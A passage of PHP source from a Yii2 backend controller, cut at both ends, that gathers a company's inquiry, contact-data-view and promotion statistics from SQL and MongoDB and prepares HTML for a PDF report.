                                'pr' => '$_id.pr', //id_presentation
                                'po' => '$_id.po', //id_portal
                                's' => '$_id.s', //search_phrase
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPresentation = $item['_id']['pr']; //id_presentation
                        $searchPhrase = $item['_id']['s']; //search_phrase
                        if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                            $modelsPresentationsPromotedStatisticsForms[$idPresentation]->uniqueVisitsFromSearch[$searchPhrase] += $item['count'];
                        }
                    }
                }
            }
        }
    }
    
    protected function getStatsForInquiries($modelCompany, $modelForm)
    {
        $outputData = [];
        
        $modelsInquiries = $modelCompany->getReceivedInquiries()
                ->andWhere(['>=', 'sent_datetime', $modelForm->dateStart.' 00:00:00'])
                ->andWhere(['<=', 'sent_datetime', $modelForm->dateEnd.' 23:59:59'])
                ->andWhere(['id_portal' => $modelForm->listPortals])
                ->orderBy('sent_datetime ASC')
                ->all();

        if(empty($modelsInquiries)) {
            return $outputData;
        }
        
        $outputData['orChart'] = intval($modelForm->inquiriesOrChart) === 1 ? 1 : 0;
        $outputData['orIncludeDetails'] = intval($modelForm->inquiriesOrIncludeDetails) === 1 ? 1 : 0;
        
        $idsCompanyProducts = $modelCompany->getProducts()->select(['id_product'])->column();
        $idsCompanyBooks = $modelCompany->getBooks()->select(['id_book'])->column();
        
        $total = $byProducts = $byBooks = $byCompanies = $byProductsCategories = $byBooksCategories = $byCompaniesCategories = 0;
        $byPortals = [];
        $totalByMonths = [];
        foreach($modelsInquiries as $modelInquiry) {
            $idsItems = $modelInquiry->getItems();
            if(!empty($idsItems)) {
                $idsItems = array_map('intval', $idsItems);
            }
            $idsCategories = $modelInquiry->getCategories();
            if(!empty($idsCategories)) {
                $idsCategories = array_map('intval', $idsCategories);
            }
            
            if($modelInquiry->inquiry_type === \common\models\types\InquiryType::COMPANIES) {
                if(!empty($idsItems) && !in_array($modelCompany->id_company, $idsItems)) {
                    $byCompanies++;
                } else {
                    $byCompaniesCategories++;
                }                
            } elseif($modelInquiry->inquiry_type === \common\models\types\InquiryType::PRODUCTS) {
                $orFound = false;
                if(!empty($idsItems) && !empty($idsCompanyProducts) && count(array_intersect($idsItems, $idsCompanyProducts)) > 0) {
                    $byProducts++;
                } else {
                    $byProductsCategories++;
                }
            } elseif($modelInquiry->inquiry_type === \common\models\types\InquiryType::BOOKSTORE) {
                $orFound = false;
                if(!empty($idsItems) && !empty($idsCompanyBooks) && count(array_intersect($idsItems, $idsCompanyBooks)) > 0) {
                    $byBooks++;
                } else {
                    $byBooksCategories++;
                }
            } else {
                continue;
            }
                
            $total++;
            
            if(!isset($byPortals[$modelInquiry->id_portal])) {
                $byPortals[$modelInquiry->id_portal] = 0;
            }
            $totalByMonths[date('Y_m', strtotime($modelInquiry->sent_datetime))]++;
            
            if(!isset($byPortals[$modelInquiry->id_portal])) {
                $byPortals[$modelInquiry->id_portal] = 0;
            }
            $byPortals[$modelInquiry->id_portal]++;
        }
        
        $inquiriesDetails = [];
        if(intval($modelForm->inquiriesOrIncludeDetails) === 1) {
            foreach($modelsInquiries as $modelInquiry) {
                if($modelInquiry->inquiry_type !== \common\models\types\InquiryType::COMPANIES && $modelInquiry->inquiry_type !== \common\models\types\InquiryType::PRODUCTS && $modelInquiry->inquiry_type !== \common\models\types\InquiryType::BOOKSTORE) {
                    continue;
                }
                
                $products = [];
                if($modelInquiry->inquiry_type === \common\models\types\InquiryType::PRODUCTS && !empty($modelInquiry->getItems())) {
                    $modelsProducts = $modelCompany->getProducts()
                            ->andWhere([
                                'id_product' => $modelInquiry->getItems()
                            ])->all();
                    if(!empty($modelsProducts)) {
                        foreach($modelsProducts as $modelProduct) {
                            $products[$modelProduct->id_product] = [
                                'id' => $modelProduct->id_product,
                                'name' => \yii\helpers\Html::encode($modelProduct->name),
                                'image_url' => !empty($modelProduct->image_filename) ? Yii::$app->params['commonBaseUrl'].'/'.\common\components\helpers\Image2::getUrl($modelProduct->getImageUrl(), '250x200', \common\components\helpers\Image2::OPERATION_CROP, \common\models\Products::getAcceptedSizes()) : null
                            ];
                        }
                    }
                }
                
                $books = [];
                if($modelInquiry->inquiry_type === \common\models\types\InquiryType::BOOKSTORE && !empty($modelInquiry->getItems())) {
                    $modelsBooks = $modelCompany->getBooks()
                            ->andWhere([
                                'id_book' => $modelInquiry->getItems()
                            ])->all();
                    if(!empty($modelsBooks)) {
                        foreach($modelsBooks as $modelBook) {
                            $books[$modelBook->id_book] = [
                                'id' => $modelBook->id_book,
                                'title' => \yii\helpers\Html::encode($modelBook->title),
                                'image_url' => !empty($modelBook->image_filename) ? Yii::$app->params['commonBaseUrl'].'/'.\common\components\helpers\Image2::getUrl($modelBook->getImageUrl(), '250x200', \common\components\helpers\Image2::OPERATION_CROP, \common\models\Books::getAcceptedSizes()) : null
                            ];
                        }
                    }
                }
                
                $categories = [];
                if(!empty($modelInquiry->getCategories())) {
                    $idsCategories = $modelInquiry->getCategories();
                    
                    if($modelInquiry->inquiry_type === \common\models\types\InquiryType::COMPANIES) {
                        $modelsCategories = \common\models\CompaniesCategories::find()->where(['id_category' => $idsCategories])->all();
                        if(!empty($modelsCategories)) {
                            foreach($modelsCategories as $modelCategory) {
                                $category = ['id' => $modelCategory->id_category];
                                if($modelCategory->depth > 1) {
                                    $modelsCategoriesPath = \common\models\CompaniesCategories::getCategoryPath($modelCategory);
                                    $category['label'] = '';
                                    foreach($modelsCategoriesPath as $key => $modelCategoryPath) {
                                        if($key !== 1) {
                                            $category['label'] .= ' &raquo; ';
                                        }
                                        $category['label'] .= $modelCategoryPath->name;
                                    } 
                                } else {
                                    $category['label'] .= $modelCategory->name;
                                }
                                $categories[$modelCategory->id_category] = $category;
                            }
                        }
                    } elseif($modelInquiry->inquiry_type === \common\models\types\InquiryType::PRODUCTS) {
                        $modelsCategories = \common\models\ProductsCategories::find()->where(['id_category' => $idsCategories])->all();
                        if(!empty($modelsCategories)) {
                            foreach($modelsCategories as $modelCategory) {
                                $category = ['id' => $modelCategory->id_category];
                                if($modelCategory->depth > 1) {
                                    $modelsCategoriesPath = \common\models\ProductsCategories::getCategoryPath($modelCategory);
                                    $category['label'] = '';
                                    foreach($modelsCategoriesPath as $key => $modelCategoryPath) {
                                        if($key !== 1) {
                                            $category['label'] .= ' &raquo; ';
                                        }
                                        $category['label'] .= $modelCategoryPath->name;
                                    } 
                                } else {
                                    $category['label'] .= $modelCategory->name;
                                }
                                $categories[$modelCategory->id_category] = $category;
                            }
                        }
                    } elseif($modelInquiry->inquiry_type === \common\models\types\InquiryType::BOOKSTORE) {
                        $categoriesPathes = \common\models\BookstoreCategories::getCategoriesPathes($idsCategories);
                        if(!empty($categoriesPathes)) {
                            foreach($categoriesPathes as $idCategory => $categoryPath) {
                                $categories[(int)$idCategory] = [
                                    'id' => (int)$idCategory, 
                                    'label' => $categoryPath
                                ];
                            }
                        }                         
                    }
                } 
                
                $inquiriesDetails[$modelInquiry->id_inquiry] = [
                    'id' => $modelInquiry->id_inquiry,
                    'type' => $modelInquiry->inquiry_type,
                    'id_portal' => $modelInquiry->id_portal,
                    'content' => \yii\helpers\Html::encode($modelInquiry->content),
                    'sent_datetime' => $modelInquiry->sent_datetime,
                    'products' => $products,
                    'books' => $books,
                    'categories' => $categories
                ];
            }
        }
        
        $outputData = [
            'total' => $total,
            'totalByMonths' => $totalByMonths,
            'byProducts' => $byProducts,
            'byBooks' => $byBooks,
            'byCompanies' => $byCompanies,
            'byProductsCategories' => $byProductsCategories,
            'byBooksCategories' => $byBooksCategories,
            'byCompaniesCategories' => $byCompaniesCategories,
            'byPortals' => $byPortals,
            'inquiries_details' => $inquiriesDetails
        ];
//        var_dump($outputData); exit;
        
        return $outputData;        
    }
    
    protected function getStatsForContactDataViews($modelCompany, $modelForm)
    {
        $idCompany = $modelCompany->id_company;
        $timestampStart = strtotime($modelForm->dateStart.' 00:00:00');
        $timestampEnd = strtotime($modelForm->dateEnd.' 23:59:59');
        
        $collection = Yii::$app->mongodb->getCollection('companies_contact_data_views');
        $stats = $collection->aggregate([
            [
                '$match' => [
                    'id_company' => (int)$idCompany,
                    'id_portal' => ['$in' => array_map('intval', $modelForm->listPortals)],
                    'created_at' => [
                        '$gte' => new \MongoDB\BSON\UTCDateTime($timestampStart*1000), 
                        '$lt' => new \MongoDB\BSON\UTCDateTime($timestampEnd*1000)
                    ]
                ],
            ],
            [
                '$group' => [
                    '_id' => [
                        'id_portal' => '$id_portal',
                        'data_type' => '$data_type',
                        'data_value' => '$data_value'
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        $outputData = [];
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idPortal = (int)$item['_id']['id_portal'];
                
                $contactData = $item['_id']['data_type'].'|'.\yii\helpers\Html::encode($item['_id']['data_value']);                
                if(!isset($outputData[$idPortal][$contactData])) {
                    $outputData[$idPortal][$contactData] = 0;
                }
                
                $outputData[$idPortal][$contactData] += $item['count']; 
            }
        }

        return $outputData;
    }
    
    protected function getStatsForContactDataViews_old($modelCompany, $modelForm, $modelsPresentations)
    {
        $idCompany = $modelCompany->id_company;
        $timestampStart = strtotime($modelForm->dateStart.' 00:00:00');
        $timestampEnd = strtotime($modelForm->dateEnd.' 23:59:59');
        
        $collection = Yii::$app->mongodb->getCollection('companies_contact_data_views');
        $stats = $collection->aggregate([
            [
                '$match' => [
                    'id_company' => (int)$idCompany,
                    'id_portal' => ['$in' => array_map('intval', $modelForm->listPortals)],
                    'created_at' => [
                        '$gte' => new \MongoDB\BSON\UTCDateTime($timestampStart*1000), 
                        '$lt' => new \MongoDB\BSON\UTCDateTime($timestampEnd*1000)
                    ]
                ],
            ],
            [
                '$group' => [
                    '_id' => [
                        'id_portal' => '$id_portal',
                        'data_type' => '$data_type',
                        'data_value' => '$data_value'
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        $outputData = [];
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idPortal = (int)$item['_id']['id_portal'];
                if(!isset($outputData[$idPortal]['total'])) {
                    $outputData[$idPortal]['total'] = 0;                 
                }
                $outputData[$idPortal]['total'] += $item['count']; 
                
                $contactData = $item['_id']['data_type'].'|'.\yii\helpers\Html::encode($item['_id']['data_value']);                
                if(!isset($outputData[$idPortal]['byContactData'][$contactData])) {
                    $outputData[$idPortal]['byContactData'][$contactData] = 0;
                }
                
                $outputData[$idPortal]['byContactData'][$contactData] += $item['count']; 
            }
            
            foreach($outputData as $idPortal => $data) {
                if(isset($modelsPresentations[$idPortal])) {
                    $outputData[$idPortal]['presentationPackageName'] = $modelsPresentations[$idPortal]->getPackage()->select(['name'])->scalar();
                    $outputData[$idPortal]['presentationStatus'] = $modelsPresentations[$idPortal]->status;
                } else {
                    $outputData[$idPortal]['presentationPackageName'] = null;
                    $outputData[$idPortal]['presentationStatus'] = null;
                }
            }
        }

        return $outputData;
    }
    
    protected function getCategoriesPathesForPromoted($className, $modelsForms)
    {
        $categoriesPathes = [];
        if(empty($modelsForms)) {
            return $categoriesPathes;
        }
        
        foreach($modelsForms as $modelForm) {
            if(empty($modelForm->visitsFromCategories)) {
                continue;
            }
            foreach($modelForm->visitsFromCategories as $idCategory => $numberOfVisits) {
                $idCategory = (int)$idCategory;
                if(isset($categoriesPathes[$idCategory])) {
                    continue;
                }
                $modelCategory = $className::findOne($idCategory);
                if($modelCategory === null) {
                    continue;
                }
                $models = $className::getCategoryPath($modelCategory);
                if(empty($models)) {
                    continue;
                }
                $categoryPath = [];
                foreach($models as $model) {
                    $categoryPath[] = $model->name;
                }
                $categoriesPathes[$idCategory] = $categoryPath;
            }
        }
        
        return $categoriesPathes;
    }
    
    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        }

        throw new NotFoundHttpException(Yii::t('backend', 'The requested page does not exist.'));
    }
    
    public function actionIndex_kopia($id)
    {
//        $idCompany = 1258;
//        $timestampStart = strtotime('2020-01-01');
//        $timestampEnd = strtotime('2021-01-01');
//        
////        $data = \common\models\CompaniesContactDataViews::find()->where([
////            'id_company' => $idCompany
////        ])->andWhere([
////            'created_at' => [
////                '$gte' => new \MongoDB\BSON\UTCDateTime($timestampStart*1000), 
////                '$lt' => new \MongoDB\BSON\UTCDateTime($timestampEnd*1000)
////            ]
////        ])->asArray();
//        
//        $collection = Yii::$app->mongodb->getCollection('companies_contact_data_views');
//        $stats = $collection->aggregate([
//            [
//                '$match' => [
//                    'id_company' => $idCompany,
//                    'created_at' => [
//                        '$gte' => new \MongoDB\BSON\UTCDateTime($timestampStart*1000), 
//                        '$lt' => new \MongoDB\BSON\UTCDateTime($timestampEnd*1000)
//                    ]
//                ],
//            ],
//            [
//                '$group' => [
//                    '_id' => [
//                        'id_portal' => '$id_portal',
//                        'data_type' => '$data_type',
//                        'data_value' => '$data_value'
//                    ],
//                    'count' => [
//                        '$sum' => 1
//                    ]
//                ],
//            ],
//        ]);
//        
//        $total = 0;
//        $totalByPortals = [];
//        $totalByContactData = [];
//        if(!empty($stats)) {
//            foreach($stats as $item) {
//                $total += $item['count']; 
//                
//                $idPortal = $item['_id']['id_portal'];                
//                if(!isset($totalByPortals[$idPortal])) {
//                    $totalByPortals[$idPortal] = 0;
//                }
//                
//                $totalByPortals[$idPortal] += $item['count']; 
//                
//                $contactData = $item['_id']['data_type'].'|'.$item['_id']['data_value'];                
//                if(!isset($totalByContactData[$contactData])) {
//                    $totalByContactData[$contactData] = 0;
//                }
//                
//                $totalByContactData[$contactData] += $item['count']; 
//            }
//        }
//        
//        var_dump($total, $totalByPortals, $totalByContactData);
//        
//        exit;
        
        $modelCompany = $this->findModel($id);
        
        if(!Yii::$app->user->can('viewCompaniesStatistics', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $modelCompanyStatisticsForm = new CompanyStatisticsForm();
        $modelCompanyStatisticsForm->dateStart = '2017-01-01';
        $modelCompanyStatisticsForm->dateEnd = date('Y-m-d');
        $modelCompanyStatisticsForm->reportDatetime = date('Y-m-d H:i');
        $modelCompanyStatisticsForm->orInquiries = 0;
        $modelCompanyStatisticsForm->inquiriesOrChart = 0;
        $modelCompanyStatisticsForm->inquiriesOrIncludeDetails = 0;
        $modelCompanyStatisticsForm->orContactData = 1;
        
        $modelsPresentationStatisticsForms = []; 
        $modelsProductsStatisticsForms = []; 
        $modelsPromotedProductsStatisticsForms = [];
        $modelsArticlesStatisticsForms = [];
        $modelsPresentationsPromotedStatisticsForms = [];
        $modelsPortals = [];
        $presentationsToPortalsMap = [];
        if(!Yii::$app->request->isAjax && Yii::$app->request->getIsPost() && $modelCompanyStatisticsForm->load(Yii::$app->request->post()) && !empty($modelCompanyStatisticsForm->listPortals)) {            
            $idsPortalsForPresentationsStatistics = [];
            if(intval($modelCompanyStatisticsForm->orPresentations) === 1) {
                $postCompanyPresentationStatisticsForm = Yii::$app->request->post('CompanyPresentationStatisticsForm', []);
                $idsPortalsForPresentationsStatistics = array_map('intval', array_keys($postCompanyPresentationStatisticsForm));
            }
            
            $modelsPortals = \common\models\Portals::find()->where(['id_portal' => $modelCompanyStatisticsForm->listPortals])->indexBy('id_portal')->all();                                
            
            $modelsPresentations = $modelCompany->getPresentations()
                    ->joinWith('portal')
                    ->where(['companies_presentations.id_portal' => $modelCompanyStatisticsForm->listPortals])
                    ->orderBy('portals.domain ASC')
                    ->indexBy('id_portal')
                    ->all();        
            if(!empty($modelsPresentations)) {
                foreach($modelsPresentations as $idPortal => $modelPresentation) {
                    $presentationsToPortalsMap[$modelPresentation->id_presentation] = $idPortal;
                    if(intval($modelCompanyStatisticsForm->orPresentations) === 1) {
                        $modelsPresentationStatisticsForms[$idPortal] = new CompanyPresentationStatisticsForm();
                        $modelsPresentationStatisticsForms[$idPortal]->setModelPresentation($modelPresentation);
                    }
                }
                if(intval($modelCompanyStatisticsForm->orPresentations) === 1) {
                    $this->getStatsForPresentations($modelCompanyStatisticsForm, $modelsPresentationStatisticsForms);
                }
            }             
            
            $idsPostDataForCompanyPresentationPromotedStatistics = [];
            if(intval($modelCompanyStatisticsForm->orPromotedPresentations) === 1) {
                $postCompanyPresentationPromotedStatisticsForm = Yii::$app->request->post('CompanyPresentationPromotedStatisticsForm', []);
                $idsPostDataForCompanyPresentationPromotedStatistics = array_keys($postCompanyPresentationPromotedStatisticsForm);
                
                if(!empty($modelsPresentations)) {
                    foreach($modelsPresentations as $idPortal => $modelPresentation) {
                        $modelsPresentationsPromotedStatisticsForms[$modelPresentation->id_presentation] = new CompanyPresentationPromotedStatisticsForm();
                        $modelsPresentationsPromotedStatisticsForms[$modelPresentation->id_presentation]->setModelPresentation($modelPresentation);
                    }
                }
                $this->getStatsForPresentationsPromoted($modelCompanyStatisticsForm, $modelsPresentationsPromotedStatisticsForms);
            }            
            
            $idsPostDataForProductStatistics = [];
            if(intval($modelCompanyStatisticsForm->orProducts) === 1) {
                $postProductStatisticsForm = Yii::$app->request->post('ProductStatisticsForm', []);
                $idsPostDataForProductStatistics = array_keys($postProductStatisticsForm);
                
                $modelsPresentationsHasProducts = \common\models\CompaniesPresentationsHasProducts::find()
                    ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_has_products.id_presentation')
                    ->with(['product', 'presentation'])
                    ->where([
                        'companies_presentations.id_company' => $modelCompany->id_company,
                        'companies_presentations.id_portal' => $modelCompanyStatisticsForm->listPortals
                    ])
                    ->orderBy('companies_presentations_has_products.id_product ASC')
                    ->all();
            
                if(!empty($modelsPresentationsHasProducts)) {
                    foreach($modelsPresentationsHasProducts as $modelPresentationHasProduct) {
                        $hash = $modelPresentationHasProduct->id_product.'_'.$modelPresentationHasProduct->presentation->id_portal;
                        $modelsProductsStatisticsForms[$hash] = new ProductStatisticsForm();
                        $modelsProductsStatisticsForms[$hash]->setModelProduct($modelPresentationHasProduct->product);
//                        $modelsProductsStatisticsForms[$hash]->idPortal = $modelPresentationHasProduct->presentation->id_portal;
                    }
                }
                $this->getStatsForProducts($modelCompanyStatisticsForm, $modelsProductsStatisticsForms);
            }            
            
            $idsPostDataForPromotedProductStatistics = [];
            if(intval($modelCompanyStatisticsForm->orPromotedProducts) === 1) {    
                $postPromotedProductStatisticsForm = Yii::$app->request->post('PromotedProductStatisticsForm', []);
                $idsPostDataForPromotedProductStatistics = array_keys($postPromotedProductStatisticsForm);
                
                $modelsProducts = \common\models\Products::find()
                        ->where([
                            'products.id_company' => $modelCompany->id_company
                        ])
                        ->orderBy('products.id_product')
                        ->all();
                
                if(!empty($modelsProducts)) {
                    foreach($modelsPortals as $modelPortal) {
                        foreach($modelsProducts as $modelProduct) { 
                            $hash = $modelProduct->id_product.'_'.$modelPortal->id_portal;                        
                            if(!isset($modelsPromotedProductsStatisticsForms[$hash])) {
                                $modelsPromotedProductsStatisticsForms[$hash] = new PromotedProductStatisticsForm();
                                $modelsPromotedProductsStatisticsForms[$hash]->setModelProduct($modelProduct);
                            }
                        }
                    }
                }
                $this->getStatsForPromotedProducts($modelCompanyStatisticsForm, $modelsPromotedProductsStatisticsForms);
                $this->removeEmptyPromotedProducts($modelsPromotedProductsStatisticsForms);
                
//                $modelsPortalsHasProductsPromoted = \common\models\PortalsHasProductsPromoted::find()
//                    ->join('INNER JOIN', 'products', 'products.id_product = portals_has_products_promoted.id_product')
//                    ->with(['product'])
//                    ->where([
//                        'products.id_company' => $modelCompany->id_company,
//                        'portals_has_products_promoted.id_portal' => $modelCompanyStatisticsForm->listPortals
//                    ])
//                    ->orderBy('portals_has_products_promoted.id_product ASC')
//                    ->all();
//            
//                if(!empty($modelsPortalsHasProductsPromoted)) {
//                    foreach($modelsPortalsHasProductsPromoted as $modelPortalHasProductPromoted) {                        
//                        $hash = $modelPortalHasProductPromoted->id_product.'_'.$modelPortalHasProductPromoted->id_portal;                        
//                        if(!isset($modelsPromotedProductsStatisticsForms[$hash])) {
//                            $modelsPromotedProductsStatisticsForms[$hash] = new PromotedProductStatisticsForm();
//                            $modelsPromotedProductsStatisticsForms[$hash]->setModelProduct($modelPortalHasProductPromoted->product);
//                        }
//                    }
//                }
                
            }            
            
            $idsPostDataForArticleStatistics = [];
            if(intval($modelCompanyStatisticsForm->orArticles) === 1) {
                $postArticleStatisticsForm = Yii::$app->request->post('ArticleStatisticsForm', []);
                $idsPostDataForArticleStatistics = array_keys($postArticleStatisticsForm);
                
                $modelsArticlesHasPortals = \common\models\ArticlesHasPortals::find()
                    ->join('INNER JOIN', 'articles', 'articles_has_portals.id_article = articles.id_article')
                    ->with(['article'])
                    ->where([
                        'articles.id_company' => $modelCompany->id_company,
                        'articles_has_portals.id_portal' => $modelCompanyStatisticsForm->listPortals
                    ])
                    ->orderBy('articles_has_portals.id_article ASC')
                    ->all();
            
                if(!empty($modelsArticlesHasPortals)) {
                    foreach($modelsArticlesHasPortals as $modelArticleHasPortal) {
                        $hash = $modelArticleHasPortal->id_article.'_'.$modelArticleHasPortal->id_portal;
                        $modelsArticlesStatisticsForms[$hash] = new ArticleStatisticsForm();
                        $modelsArticlesStatisticsForms[$hash]->setModelArticle($modelArticleHasPortal->article);
                        $modelsArticlesStatisticsForms[$hash]->totalVisits = (int)$modelArticleHasPortal->article->views_number;
                        $modelsArticlesStatisticsForms[$hash]->orSelected = 1;
                    }
                }
            }
        }
        
        $companiesCategoriesPathes = $this->getCategoriesPathesForPromoted('\common\models\CompaniesCategories', $modelsPresentationsPromotedStatisticsForms);
        $productsCategoriesPathes = $this->getCategoriesPathesForPromoted('\common\models\ProductsCategories', $modelsPromotedProductsStatisticsForms);

        $outputParams = [
            'modelCompanyStatisticsForm' => $modelCompanyStatisticsForm,
            'modelsPresentationStatisticsForms' => $modelsPresentationStatisticsForms,
            'modelsProductsStatisticsForms' => $modelsProductsStatisticsForms,
            'modelsPromotedProductsStatisticsForms' => $modelsPromotedProductsStatisticsForms,
            'modelsPresentationsPromotedStatisticsForms' => $modelsPresentationsPromotedStatisticsForms,
            'modelsArticlesStatisticsForms' => $modelsArticlesStatisticsForms,
            'modelCompany' => $modelCompany,
            'modelsPortals' => $modelsPortals,
            'companiesCategoriesPathes' => $companiesCategoriesPathes,
            'productsCategoriesPathes' => $productsCategoriesPathes
        ];
        
        if(
            Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelCompanyStatisticsForm->load(Yii::$app->request->post()) 
            && (empty($idsPortalsForPresentationsStatistics) || \yii\base\Model::loadMultiple($modelsPresentationStatisticsForms, Yii::$app->request->post())) 
            && (empty($idsPostDataForProductStatistics) || \yii\base\Model::loadMultiple($modelsProductsStatisticsForms, Yii::$app->request->post())) 
            && (empty($idsPostDataForPromotedProductStatistics) || \yii\base\Model::loadMultiple($modelsPromotedProductsStatisticsForms, Yii::$app->request->post())) 
            && (empty($idsPostDataForCompanyPresentationPromotedStatistics) || \yii\base\Model::loadMultiple($modelsPresentationsPromotedStatisticsForms, Yii::$app->request->post()))
            && (empty($idsPostDataForArticleStatistics) || \yii\base\Model::loadMultiple($modelsArticlesStatisticsForms, Yii::$app->request->post())) 
        ) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(
                \yii\bootstrap\ActiveForm::validate($modelCompanyStatisticsForm, ['dateStart', 'dateEnd', 'listPortals', 'idOperator']), 
                !empty($idsPortalsForPresentationsStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsPresentationStatisticsForms) : [], 
                !empty($idsPostDataForProductStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsProductsStatisticsForms) : [], 
                !empty($idsPostDataForPromotedProductStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsPromotedProductsStatisticsForms) : [],
                !empty($idsPostDataForCompanyPresentationPromotedStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsPresentationsPromotedStatisticsForms) : [],
                !empty($idsPostDataForArticleStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsArticlesStatisticsForms) : []
            );
        }
        
        if(Yii::$app->request->getIsPost() && (intval(Yii::$app->request->post('get', 0)) === 1)) { 
            if(!$modelCompanyStatisticsForm->load(Yii::$app->request->post()) 
                || (!empty($idsPortalsForPresentationsStatistics) && !\yii\base\Model::loadMultiple($modelsPresentationStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForProductStatistics) && !\yii\base\Model::loadMultiple($modelsProductsStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForPromotedProductStatistics) && !\yii\base\Model::loadMultiple($modelsPromotedProductsStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForCompanyPresentationPromotedStatistics) && !\yii\base\Model::loadMultiple($modelsPresentationsPromotedStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForArticleStatistics) && !\yii\base\Model::loadMultiple($modelsArticlesStatisticsForms, Yii::$app->request->post())) 
            ) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->redirect(['index', 'id' => $modelCompany->id_company]);
            }
            
            if(
                !$modelCompanyStatisticsForm->validate() 
                || (!empty($idsPortalsForPresentationsStatistics) && !\yii\base\Model::validateMultiple($modelsPresentationStatisticsForms)) 
                || (!empty($idsPostDataForProductStatistics) && !\yii\base\Model::validateMultiple($modelsProductsStatisticsForms)) 
                || (!empty($idsPostDataForPromotedProductStatistics) && !\yii\base\Model::validateMultiple($modelsPromotedProductsStatisticsForms)) 
                || (!empty($idsPostDataForCompanyPresentationPromotedStatistics) && !\yii\base\Model::validateMultiple($modelsPresentationsPromotedStatisticsForms)) 
                || (!empty($idsPostDataForArticleStatistics) && !\yii\base\Model::validateMultiple($modelsArticlesStatisticsForms)) 
            ) {
                $errorsFromPresentationStatisticsForms = [];
                if(!empty($modelsPresentationStatisticsForms)) {
                    foreach($modelsPresentationStatisticsForms as $modelPresentationStatisticsForm) {
                        if($modelPresentationStatisticsForm->hasErrors()) {
                            foreach($modelPresentationStatisticsForm->getErrors() as $error) {
                                $errorsFromPresentationStatisticsForms[] = $error;
                            }
                        }
                    }
                }
                $errorsFromPresentationPromotedStatisticsForms = [];
                if(!empty($modelsPresentationsPromotedStatisticsForms)) {
                    foreach($modelsPresentationsPromotedStatisticsForms as $modelPresentationPromotedStatisticsForms) {
                        if($modelPresentationPromotedStatisticsForms->hasErrors()) {
                            foreach($modelPresentationPromotedStatisticsForms->getErrors() as $error) {
                                $errorsFromPresentationPromotedStatisticsForms[] = $error;
                            }
                        }
                    }
                }
                $errorsFromProductsStatisticsForms = [];
                if(!empty($modelsProductsStatisticsForms)) {
                    foreach($modelsProductsStatisticsForms as $modelProductStatisticsForm) {
                        if($modelProductStatisticsForm->hasErrors()) {
                            foreach($modelProductStatisticsForm->getErrors() as $error) {
                                $errorsFromProductsStatisticsForms[] = $error;
                            }
                        }
                    }
                }
                $errorsFromPromotedProductsStatisticsForms = [];
                if(!empty($modelsPromotedProductsStatisticsForms)) {
                    foreach($modelsPromotedProductsStatisticsForms as $modelPromotedProductStatisticsForm) {
                        if($modelPromotedProductStatisticsForm->hasErrors()) {
                            foreach($modelPromotedProductStatisticsForm->getErrors() as $error) {
                                $errorsFromPromotedProductsStatisticsForms[] = $error;
                            }
                        }
                    }
                }
                $errorsFromArticlesStatisticsForms = [];
                if(!empty($modelsArticlesStatisticsForms)) {
                    foreach($modelsArticlesStatisticsForms as $modelArticleStatisticsForm) {
                        if($modelArticleStatisticsForm->hasErrors()) {
                            foreach($modelArticleStatisticsForm->getErrors() as $error) {
                                $errorsFromArticlesStatisticsForms[] = $error;
                            }
                        }
                    }
                }
                $errors = \yii\helpers\ArrayHelper::merge($modelCompanyStatisticsForm->getErrors(), $errorsFromPresentationStatisticsForms);
                $errors = \yii\helpers\ArrayHelper::merge($errors, $errorsFromProductsStatisticsForms);
                $errors = \yii\helpers\ArrayHelper::merge($errors, $errorsFromPromotedProductsStatisticsForms);
                $errors = \yii\helpers\ArrayHelper::merge($errors, $errorsFromPresentationPromotedStatisticsForms);                
                $errors = \yii\helpers\ArrayHelper::merge($errors, $errorsFromArticlesStatisticsForms);
                Yii::$app->session->addFlash('error', $errors);
                return $this->render('index', $outputParams);
            }
                
            if($modelCompanyStatisticsForm->format === CompanyStatisticsForm::FORMAT_PDF) {  
                $modelCompanyInvoicingData = $modelCompany->getInvoicingData()->andWhere(['or_main' => 1])->one();
                $tempFilesCounter = 1;                
                $tempFilesPatches = [];
                
                $operatorData = $this->getOperatorData($modelCompanyStatisticsForm->idOperator);
                
                $inquiriesStats = [];
                if(intval($modelCompanyStatisticsForm->orInquiries) === 1) {
                    $inquiriesStats = $this->getStatsForInquiries($modelCompany, $modelCompanyStatisticsForm);
                    if(!empty($inquiriesStats)) {
                        $content = $this->renderPartial('_statistics_inquiries', [
                            'modelForm' => $modelCompanyStatisticsForm, 
                            'modelCompany' => $modelCompany, 
                            'modelCompanyInvoicingData' => $modelCompanyInvoicingData,
                            'inquiriesStats' => $inquiriesStats,
                            'operatorData' => $operatorData
                        ]);
                        $tempFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).'_'.$tempFilesCounter.".html";
                        file_put_contents($tempFilePath, $content);
